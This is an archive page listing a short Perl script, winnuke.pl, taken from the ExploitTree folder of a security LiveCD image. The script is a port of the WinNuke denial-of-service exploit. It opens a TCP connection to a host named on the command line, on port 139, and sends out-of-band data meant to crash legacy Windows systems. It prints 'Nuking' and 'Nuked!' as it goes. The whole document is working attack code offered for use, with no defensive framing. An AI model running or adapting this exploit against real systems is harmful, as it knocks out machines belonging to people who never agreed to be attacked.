home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / winnuke.pl < prev    next >
Perl Script  |  2005-02-12  |  558b  |  19 lines
  1. #!/usr/bin/perl
  2.  
  3. # Ghent - ghent@bounty-hunters.com - Perl version of winnuke.c by _eci
  4.  
  5. use strict; use Socket;
  6.  
  7. my($h,$p,$in_addr,$proto,$addr);
  8.  
  9. $h = "$ARGV[0]"; $p = 139 if (!$ARGV[1]);
  10. if (!$h) { print "A hostname must be provided. Ex: www.microsoft.com\n"; }
  11.  
  12. $in_addr = (gethostbyname($h))[4]; $addr = sockaddr_in($p,$in_addr);
  13. $proto = getprotobyname('tcp');
  14. socket(S, AF_INET, SOCK_STREAM, $proto) or die $!;
  15.  
  16. connect(S,$addr) or die $!; select S; $| = 1; select STDOUT;
  17.  
  18. print "Nuking: $h:$p\n"; send S,"Sucker",MSG_OOB; print "Nuked!\n"; close S;
  19.